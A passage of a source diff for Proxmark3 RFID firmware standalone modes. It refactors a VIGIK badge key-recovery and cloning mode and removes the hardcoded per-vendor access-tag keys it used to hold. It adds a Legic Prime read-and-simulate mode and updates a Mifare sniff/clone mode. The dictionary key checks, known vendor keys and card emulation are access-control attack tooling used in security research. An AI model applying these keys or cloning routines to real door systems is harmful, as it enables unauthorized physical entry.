standalone lock - // reply_old(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0); + // used in portable imlementation on microcontroller: it reports back the fail and open the + // standalone lock reply_old(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0); break; } else if (key == -2) { err = 1; // Can't select card. @@ -448,10 +585,10 @@ failtag: cjSetCursRight(); DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %012" PRIx64 " ; TYP: %i", sec, key64, type); /*reply_old(CMD_CJB_INFORM_CLIENT_KEY, 12, sec, type, tosendkey, 12);*/ - switch (key64) { - ///////////////////////////////////////////////////////// - // COMMON SCHEME 1 : INFINITRON/HEXACT - case 0x484558414354: + + for (int i = 0; i < total_schemas; i++) { + if (key64 == Schemas[i].trigger) { + cjSetCursLeft(); DbprintfEx(FLAG_NEWLINE, "%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _XRED_, _XWHITE_); cjSetCursLeft(); @@ -459,232 +596,36 @@ failtag: DbprintfEx(FLAG_NEWLINE, " .TAG SEEMS %sDETERMINISTIC%s. ", _XGREEN_, _XWHITE_); cjSetCursLeft(); - DbprintfEx(FLAG_NEWLINE, "%sDetected: %s INFI_HEXACT_VIGIK_TAG%s", _XORANGE_, _XCYAN_, _XWHITE_); + DbprintfEx(FLAG_NEWLINE, "%sDetected: %s %s%s", _XORANGE_, _XCYAN_, Schemas[i].name, _XWHITE_); cjSetCursLeft(); - DbprintfEx(FLAG_NEWLINE, "...%s[%sKey_derivation_schemeTest%s]%s...", _XYELLOW_, _XGREEN_, _XYELLOW_, _XGREEN_); + DbprintfEx(FLAG_NEWLINE, "...%s[%sKey_derivation_schemeTest%s]%s...", _XYELLOW_, _XGREEN_, + _XYELLOW_, _XGREEN_); cjSetCursLeft(); DbprintfEx(FLAG_NEWLINE, "%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _XGREEN_, _XWHITE_); - ; - // Type 0 / A first + uint16_t t = 0; for (uint16_t s = 0; s < sectorsCnt; s++) { - num_to_bytes(0x484558414354, 6, foundKey[t][s]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][s][0], foundKey[t][s][1], foundKey[t][s][2], - foundKey[t][s][3], foundKey[t][s][4], foundKey[t][s][5]); + num_to_bytes(Schemas[i].keysA[s], 6, foundKey[t][s]); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][s][0], foundKey[t][s][1], + foundKey[t][s][2], foundKey[t][s][3], foundKey[t][s][4], foundKey[t][s][5]); cjSetCursRight(); DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", s, tosendkey, t); } t = 1; - uint16_t sectorNo = 0; - num_to_bytes(0xa22ae129c013, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); - cjSetCursRight(); - - DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); - sectorNo = 1; - num_to_bytes(0x49fae4e3849f, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); - cjSetCursRight(); - - DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); - sectorNo = 2; - num_to_bytes(0x38fcf33072e0, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); - cjSetCursRight(); - - DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); - sectorNo = 3; - num_to_bytes(0x8ad5517b4b18, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); - cjSetCursRight(); - - DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); - sectorNo = 4; - num_to_bytes(0x509359f131b1, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); - cjSetCursRight(); - - DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); - sectorNo = 5; - num_to_bytes(0x6c78928e1317, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); - cjSetCursRight(); - - DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); - sectorNo = 6; - num_to_bytes(0xaa0720018738, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); - cjSetCursRight(); - - DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); - sectorNo = 7; - num_to_bytes(0xa6cac2886412, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); - cjSetCursRight(); - - DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); - sectorNo = 8; - num_to_bytes(0x62d0c424ed8e, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); - cjSetCursRight(); - - DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); - sectorNo = 9; - num_to_bytes(0xe64a986a5d94, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); - cjSetCursRight(); - - DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); - sectorNo = 10; - num_to_bytes(0x8fa1d601d0a2, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); - cjSetCursRight(); - - DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); - sectorNo = 11; - num_to_bytes(0x89347350bd36, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); - cjSetCursRight(); - - DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); - sectorNo = 12; - num_to_bytes(0x66d2b7dc39ef, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); - cjSetCursRight(); - - DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); - sectorNo = 13; - num_to_bytes(0x6bc1e1ae547d, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); - cjSetCursRight(); - - DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); - sectorNo = 14; - num_to_bytes(0x22729a9bd40f, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); - cjSetCursRight(); - - DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); - sectorNo = 15; - num_to_bytes(0x484558414354, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); - cjSetCursRight(); - - DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); - trapped = 1; - break; - ////////////////END OF SCHEME 1////////////////////////////// - - /////////////////////////////////////// - // COMMON SCHEME 2 : URMET CAPTIVE / COGELEC!/? - case 0x8829da9daf76: - cjSetCursLeft(); - - DbprintfEx(FLAG_NEWLINE, "%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _XRED_, _XWHITE_); - cjSetCursLeft(); - - DbprintfEx(FLAG_NEWLINE, " .TAG SEEMS %sDETERMINISTIC%s. ", _XGREEN_, _XWHITE_); - cjSetCursLeft(); - - DbprintfEx(FLAG_NEWLINE, "%sDetected :%sURMET_CAPTIVE_VIGIK_TAG%s", _XORANGE_, _XCYAN_, _XWHITE_); - cjSetCursLeft(); - - DbprintfEx(FLAG_NEWLINE, "...%s[%sKey_derivation_schemeTest%s]%s...", _XYELLOW_, _XGREEN_, _XYELLOW_, _XGREEN_); - cjSetCursLeft(); - - DbprintfEx(FLAG_NEWLINE, "%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _XGREEN_, _XWHITE_); - cjSetCursLeft(); - - // emlClearMem(); - // A very weak one... - for (uint16_t i = 0; i < 2; i++) { - for (uint16_t s = 0; s < sectorsCnt; s++) { - num_to_bytes(key64, 6, foundKey[i][s]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", - foundKey[i][s][0], - foundKey[i][s][1], - foundKey[i][s][2], - foundKey[i][s][3], - foundKey[i][s][4], - foundKey[i][s][5] - ); - cjSetCursRight(); - DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", s, tosendkey, i); - } - } - trapped = 1; - break; - ////////////////END OF SCHEME 2////////////////////////////// - - /////////////////////////////////////// - // COMMON SCHEME 3 : NORALSY "A-LARON & B-LARON . . . NORAL-B & NORAL-A" - case 0x414c41524f4e: // Thumbs up to the guy who had the idea of such a "mnemotechnical" key pair - case 0x424c41524f4e: - cjSetCursLeft(); - - DbprintfEx(FLAG_NEWLINE, "%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _XRED_, _XWHITE_); - cjSetCursLeft(); - - DbprintfEx(FLAG_NEWLINE, " .TAG SEEMS %sDETERMINISTIC%s. ", _XGREEN_, _XWHITE_); - cjSetCursLeft(); - - DbprintfEx(FLAG_NEWLINE, "%s Detected :%sNORALSY_VIGIK_TAG %s", _XORANGE_, _XCYAN_, _XWHITE_); - cjSetCursLeft(); - - DbprintfEx(FLAG_NEWLINE, "...%s[%sKey_derivation_schemeTest%s]%s...", _XYELLOW_, _XGREEN_, _XYELLOW_, _XGREEN_); - cjSetCursLeft(); - - DbprintfEx(FLAG_NEWLINE, "%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _XGREEN_, _XWHITE_); - - t = 0; for (uint16_t s = 0; s < sectorsCnt; s++) { - num_to_bytes(0x414c41524f4e, 6, foundKey[t][s]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", - foundKey[t][s][0], - foundKey[t][s][1], - foundKey[t][s][2], - foundKey[t][s][3], - foundKey[t][s][4], - foundKey[t][s][5]); - cjSetCursRight(); - DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", s, tosendkey, t); - } - - t = 1; - for (uint16_t s = 0; s < sectorsCnt; s++) { - num_to_bytes(0x424c41524f4e, 6, foundKey[t][s]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", - foundKey[t][s][0], - foundKey[t][s][1], - foundKey[t][s][2], - foundKey[t][s][3], - foundKey[t][s][4], - foundKey[t][s][5]); + num_to_bytes(Schemas[i].keysB[s], 6, foundKey[t][s]); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][s][0], foundKey[t][s][1], + foundKey[t][s][2], foundKey[t][s][3], foundKey[t][s][4], foundKey[t][s][5]); cjSetCursRight(); DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", s, tosendkey, t); } trapped = 1; break; - ////////////////END OF SCHEME 3////////////////////////////// + } } + /* etc etc for testing schemes quick schemes */ } } @@ -695,7 +636,7 @@ failtag: cjTabulize(); DbprintfEx(FLAG_NEWLINE, "%s[ FAIL ]%s\r\n->did not found all the keys :'(", _XRED_, _XWHITE_); cjSetCursLeft(); - SpinErr(1, 100, 8); + SpinErr(LED_B, 100, 8); SpinOff(100); return; } @@ -731,7 +672,7 @@ failtag: cjSetCursLeft(); DbprintfEx(FLAG_NEWLINE, "FATAL:EML_FALLBACKFILL_B"); - SpinErr(2, 100, 8); + SpinErr(LED_C, 100, 8); SpinOff(100); return; } @@ -740,7 +681,8 @@ failtag: delta_time = GetTickCountDelta(start_time); cjSetCursLeft(); - DbprintfEx(FLAG_NEWLINE, "%s>>%s Time for VIGIK break :%s%dms%s", _XGREEN_, _XWHITE_, _XYELLOW_, delta_time, _XWHITE_); + DbprintfEx(FLAG_NEWLINE, "%s>>%s Time for VIGIK break :%s%dms%s", _XGREEN_, _XWHITE_, _XYELLOW_, delta_time, + _XWHITE_); vtsend_cursor_position_save(NULL); vtsend_set_attribute(NULL, 1); @@ -750,10 +692,9 @@ failtag: cjSetCursLeft(); cjSetCursLeft(); - WriteTagToFlash(0, 1024); + WriteTagToFlash(cjcuid, 1024); readysim: - // SIM ? cjSetCursLeft(); DbprintfEx(FLAG_NEWLINE, "-> We launch Emulation ->"); @@ -762,8 +703,9 @@ readysim: DbprintfEx(FLAG_NEWLINE, "%s!> HOLD ON : %s When you'll click, simm will stop", _XRED_, _XWHITE_); cjSetCursLeft(); - DbprintfEx(FLAG_NEWLINE, "Then %s immediately %s we'll try to %s dump our emulator state%s \r\nin a %s chinese tag%s", _XRED_, _XWHITE_, _XYELLOW_, _XWHITE_, - _XCYAN_, _XWHITE_); + DbprintfEx(FLAG_NEWLINE, + "Then %s immediately %s we'll try to %s dump our emulator state%s \r\nin a %s chinese tag%s", _XRED_, + _XWHITE_, _XYELLOW_, _XWHITE_, _XCYAN_, _XWHITE_); cjSetCursLeft(); cjSetCursLeft(); @@ -775,19 +717,39 @@ readysim: SpinOff(100); LED_C_ON(); - uint16_t flags; - switch (p_card.uidlen) { + DBGLEVEL = DBG_NONE; + + //uint16_t flags=0; + /*switch (p_card.uidlen) { case 10: flags = FLAG_10B_UID_IN_DATA; break; case 7: flags = FLAG_7B_UID_IN_DATA; break; - default: + case 4: flags = FLAG_4B_UID_IN_DATA; break; - } - Mifare1ksim(flags | FLAG_MF_1K, 0, cjuid); + default: + flags = FLAG_UID_IN_EMUL; + break; + }*/ + + // Use UID, SAK, ATQA from EMUL, if uid not defined + // if ((flags & (FLAG_4B_UID_IN_DATA | FLAG_7B_UID_IN_DATA | FLAG_10B_UID_IN_DATA)) == 0) { + //flags |= FLAG_UID_IN_EMUL; + //} + //flags |= FLAG_MF_1K; + //if ((flags & (FLAG_4B_UID_IN_DATA | FLAG_7B_UID_IN_DATA | FLAG_10B_UID_IN_DATA)) == 0) { + // flags |= FLAG_UID_IN_EMUL; + //} + //flags = 0x10; + uint16_t flags = 0; + flags = 16; + DbprintfEx(FLAG_NEWLINE, "\n\n\n\n\n\n\n\nn\n\nn\n\n\nflags: %d (0x%02x)", flags, flags); + cjSetCursLeft(); + SpinOff(1000); + Mifare1ksim(flags, 0, cjuid, 0, 0); LED_C_OFF(); SpinOff(50); vtsend_cursor_position_restore(NULL); @@ -816,7 +778,7 @@ readysim: DbprintfEx(FLAG_NEWLINE, "- [ LA FIN ] -\r\n%s`-> You can take shell back :) ...", _XWHITE_); cjSetCursLeft(); vtsend_set_attribute(NULL, 0); - SpinErr(3, 100, 16); + SpinErr(LED_D, 100, 16); SpinDown(75); SpinOff(100); return; @@ -895,16 +857,17 @@ int e_MifareECardLoad(uint32_t numofsectors, uint8_t keytype) { DbprintfEx(FLAG_NEWLINE, "Halt error"); }; - crypto1_destroy(pcs); + crypto1_deinit(pcs); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); return (isOK) ? PM3_SUCCESS : PM3_EUNDEF; } -/* the chk function is a piwi’ed(tm) check that will try all keys for +/* the chk function is a piwi'ed(tm) check that will try all keys for a particular sector. also no tracing no dbg */ -int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, uint8_t keyCount, uint8_t *datain, uint64_t *key) { +int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, uint8_t keyCount, uint8_t *datain, + uint64_t *key) { DBGLEVEL = DBG_NONE; iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); set_tracing(false); @@ -931,12 +894,12 @@ int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, ui SpinDelayUs(AUTHENTICATION_TIMEOUT); continue; } - crypto1_destroy(pcs); + crypto1_deinit(pcs); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); *key = ui64Key; return i; } - crypto1_destroy(pcs); + crypto1_deinit(pcs); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); return -1; @@ -1009,6 +972,7 @@ void saMifareMakeTag(void) { } } +// TODO : make this work either for a Gen1a or for a block 0 direct write all transparently //----------------------------------------------------------------------------- // Matt's StandAlone mod. // Work with "magic Chinese" card (email him: ouyangweidaxian@live.cn) @@ -1095,7 +1059,8 @@ int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *data }; } - if ((mifare_sendcmd_short(NULL, 0, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) { + if ((mifare_sendcmd_short(NULL, CRYPT_NONE, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || + (receivedAnswer[0] != 0x0a)) { DbprintfEx(FLAG_NEWLINE, "write block send command error"); break; }; diff --git a/armsrc/Standalone/hf_colin.h b/armsrc/Standalone/hf_colin.h index 8c8e391e1..a4b870abc 100644 --- a/armsrc/Standalone/hf_colin.h +++ b/armsrc/Standalone/hf_colin.h @@ -9,6 +9,10 @@ // StandAlone Mod //----------------------------------------------------------------------------- +#include +#include +#include + #ifndef FALSE #define FALSE 0 #endif @@ -16,20 +20,6 @@ #ifndef __HF_COLIN_H #define __HF_COLIN_H -#include "proxmark3.h" -#include "mifaresim.h" // mifare1ksim -#include "mifareutil.h" -#include "iso14443a.h" -#include "protocols.h" -#include "util.h" -#include "standalone.h" // standalone definitions -#include // for bool -#include -#include -#include "vtsend.h" -#include "apps.h" -#include "printf.h" - #define _XRED_ "\x1b[31m" #define _XGREEN_ "\x1b[32m" #define _XYELLOW_ "\x1b[33m" @@ -43,7 +33,7 @@ int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, ui int e_MifareECardLoad(uint32_t numofsectors, uint8_t keytype); void saMifareMakeTag(void); int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); -void WriteTagToFlash(uint8_t index, size_t size); +void WriteTagToFlash(uint32_t uid, size_t size); const char clearTerm[8] = {0x1b, 0x5b, 0x48, 0x1b, 0x5b, 0x32, 0x4a, '\0'}; diff --git a/armsrc/Standalone/hf_legic.c b/armsrc/Standalone/hf_legic.c new file mode 100644 index 000000000..2b826528f --- /dev/null +++ b/armsrc/Standalone/hf_legic.c @@ -0,0 +1,173 @@ +//----------------------------------------------------------------------------- +// (c) Stefanie Hofmann, 2020 +// (c) Uli Heilmeier, 2020 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// main code for Legic Prime read/sim +//----------------------------------------------------------------------------- + +#include "standalone.h" +#include "proxmark3_arm.h" +#include "BigBuf.h" +#include "appmain.h" +#include "fpgaloader.h" +#include "util.h" +#include "dbprint.h" +#include "ticks.h" +#include "legicrf.h" +#include "legicrfsim.h" +#include "legic.h" // legic_card_select_t struct +#include "spiffs.h" // flashmem + + +/* + * To list all dump files from flash: + * + * 1. mem spiffs tree + * + * + * To retrieve dump files from flash: + * + * 1. mem spiffs dump o hf-legic-XXYYZZWW-dump.bin f hf-legic-XXYYZZWW-dump.bin + * Copies log file from flash to your client. + * + * + * This module emits debug strings during normal operation -- so try it out in + * the lab connected to PM3 client before taking it into the field. + * + * To delete a dump file from flash: + * + * 1. mem spiffs remove hf-legic-XXYYZZWW-dump.bin + * +*/ + +void DownloadLogInstructions() { + Dbprintf(""); + Dbprintf("[=] List all dumps from flash:"); + Dbprintf("[=] " _YELLOW_("-") "mem spiffs tree"); + Dbprintf(""); + Dbprintf("[=] To save a dump file from flash to client:"); + Dbprintf("[=] " _YELLOW_("-") "mem spiffs dump o hf-legic-UID-dump.bin f hf-legic-UID-dump.bin"); +} + +void save_dump_to_file(legic_card_select_t *p_card) { + +#ifdef WITH_FLASH + + // legic functions puts it memory in Emulator reserved memory. + uint8_t *mem = BigBuf_get_EM_addr(); + + char *preferredName = (char*)BigBuf_malloc(30); + if (preferredName == NULL) { + goto OUT; + } + + sprintf(preferredName, "hf-legic-%02X%02X%02X%02X-dump", p_card->uid[0], p_card->uid[1], p_card->uid[2], p_card->uid[3]); + uint16_t preferredNameLen = strlen(preferredName); + + char *filename = (char*)BigBuf_malloc(preferredNameLen + 4 + 1 + 10); + if (filename == NULL) { + goto OUT; + } + + sprintf(filename, "%.*s%s", preferredNameLen, preferredName, ".bin"); + uint16_t num = 1; + while (exists_in_spiffs(filename)) { + sprintf(filename, "%.*s-%d%s", preferredNameLen, preferredName, num, ".bin"); + num++; + } + + rdv40_spiffs_write(filename, mem, p_card->cardsize, RDV40_SPIFFS_SAFETY_SAFE); + + Dbprintf("[=] saved card dump to flashmem::" _YELLOW_("%s"), filename); +OUT: + BigBuf_free_keep_EM(); +#endif + +} + +void ModInfo(void) { + DbpString(" HF Legic Prime standalone"); +} + +// Searching for Legic card until found and read. +// Simulating recorded Legic Prime card. +// C = Searching +// A, B, C = Reading +// A, D = Simulating + +void RunMod() { + StandAloneMode(); + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + Dbprintf("[=] >> HF Legic Prime Read/Simulate Started <<"); + DbpString("[=] press and HOLD button to exit standalone mode"); + for (;;) { + WDT_HIT(); + + //exit from hf_legic, send usbcommand + if (data_available()) break; + + //Was our button held down or pressed? + int button_pressed = BUTTON_HELD(280); + if (button_pressed == BUTTON_HOLD) { + break; + } + + LEDsoff(); + LED_C_ON(); + + DbpString("[=] looking for tags"); + int read_success = PM3_ESOFT; + + //search for legic card until reading successfull or button pressed + do { + LED_C_ON(); + SpinDelay(500); + // We don't care if we read a MIM256, MIM512 or MIM1024 + // we just read 1024 bytes + read_success = LegicRfReaderEx(0, 1024, 0x55); + + } while (read_success == PM3_ESOFT && !BUTTON_PRESS()); + + LEDsoff(); + + //simulate if read successfully + if (read_success != PM3_ESOFT) { + + legic_card_select_t *p_card; + p_card = getLegicCardInfo(); + if (p_card->cardsize == 0) + continue; + + save_dump_to_file(p_card); + + LED_D_ON(); + uint8_t ct; + switch(p_card->tagtype) { + case 0x0D: + ct = 0; + break; + case 0x1D: + ct = 1; + break; + case 0x3D: + ct = 2; + break; + default: + continue; + } + + // The read data is migrated to a MIM1024 card + LegicRfSimulate(ct); + } + } + + LEDsoff(); +#ifdef WITH_FLASH + DownloadLogInstructions(); +#endif + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); +} diff --git a/armsrc/Standalone/hf_mattyrun.c b/armsrc/Standalone/hf_mattyrun.c index 66147c2fb..60619e657 100644 --- a/armsrc/Standalone/hf_mattyrun.c +++ b/armsrc/Standalone/hf_mattyrun.c @@ -33,7 +33,21 @@ on a blank card. ## Spanish full description of the project [here](http://bit.ly/2c9nZXR). */ -#include "hf_mattyrun.h" +#include "standalone.h" // standalone definitions +#include "proxmark3_arm.h" +#include "appmain.h" +#include "fpgaloader.h" +#include "util.h" +#include "dbprint.h" +#include "ticks.h" +#include "string.h" +#include "commonutil.h" +#include "iso14443a.h" +#include "mifarecmd.h" +#include "crc16.h" +#include "BigBuf.h" +#include "mifaresim.h" // mifare1ksim +#include "mifareutil.h" uint8_t uid[10]; uint32_t cuid; @@ -122,7 +136,7 @@ static int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_ }; } - if ((mifare_sendcmd_short(NULL, 0, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) { + if ((mifare_sendcmd_short(NULL, CRYPT_NONE, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) { DbprintfEx(FLAG_NEWLINE, "write block send command error"); break; }; @@ -181,19 +195,19 @@ static int saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, ui SpinDelayUs(AUTHENTICATION_TIMEOUT); continue; } - crypto1_destroy(pcs); + crypto1_deinit(pcs); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); *key = ui64Key; return i; } - crypto1_destroy(pcs); + crypto1_deinit(pcs); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); return -1; } void ModInfo(void) { - DbpString(" HF Mifare sniff/clone - aka MattyRun (Matías A. Ré Medina)"); + DbpString(" HF Mifare sniff/clone - aka MattyRun (Matías A. Ré Medina)"); } void RunMod() { @@ -223,6 +237,7 @@ void RunMod() { */ bool printKeys = false; // Prints keys bool transferToEml = true; // Transfer keys to emulator memory + bool ecfill = true; // Fill emulator memory with cards content. bool simulation = true; // Simulates an exact copy of the target tag bool fillFromEmulator = false; // Dump emulator memory. @@ -261,7 +276,7 @@ void RunMod() { keys in keyBlock's memory space . */ keyBlock = BigBuf_malloc(stKeyBlock * 6); - int mfKeysCnt = sizeof(mfKeys) / sizeof(uint64_t); + int mfKeysCnt = ARRAYLEN(mfKeys); for (int mfKeyCounter = 0; mfKeyCounter < mfKeysCnt; mfKeyCounter++) { num_to_bytes(mfKeys[mfKeyCounter], 6, (uint8_t *)(keyBlock + mfKeyCounter * 6)); @@ -308,7 +323,7 @@ void RunMod() { Dbprintf("\tCurrent sector:%3d, block:%3d, key type: %c, key count: %i ", sec, block, type ? 'B' : 'A', mfKeysCnt); int key = saMifareChkKeys(block, type, true, size, &keyBlock[0], &key64); if (key == -1) { - LED(LED_RED, 50); //red + LED(LED_RED, 50); Dbprintf("\t✕ Key not found for this sector!"); allKeysFound = false; // break; @@ -333,21 +348,24 @@ void RunMod() { TODO: - Get UID from tag and set accordingly in emulator memory and call mifaresim with right flags (iceman) */ - if (!allKeysFound && keyFound) { - Dbprintf("\t✕ There's currently no nested attack in MattyRun, sorry!"); - LED_C_ON(); //red - LED_A_ON(); //yellow - // no room to run nested attack on device (iceman) - // Do nested attack, set allKeysFound = true; - // allKeysFound = true; + if (allKeysFound) { + Dbprintf("\t✓ All keys found"); } else { - Dbprintf("\t✕ There's nothing I can do without at least a one valid key, sorry!"); - LED_C_ON(); //red + if (keyFound) { + Dbprintf("\t✕ There's currently no nested attack in MattyRun, sorry!"); + LED_C_ON(); //red + LED_A_ON(); //yellow + // no room to run nested attack on device (iceman) + // Do nested attack, set allKeysFound = true; + // allKeysFound = true; + } else { + Dbprintf("\t✕ There's nothing I can do without at least a one valid key, sorry!"); + 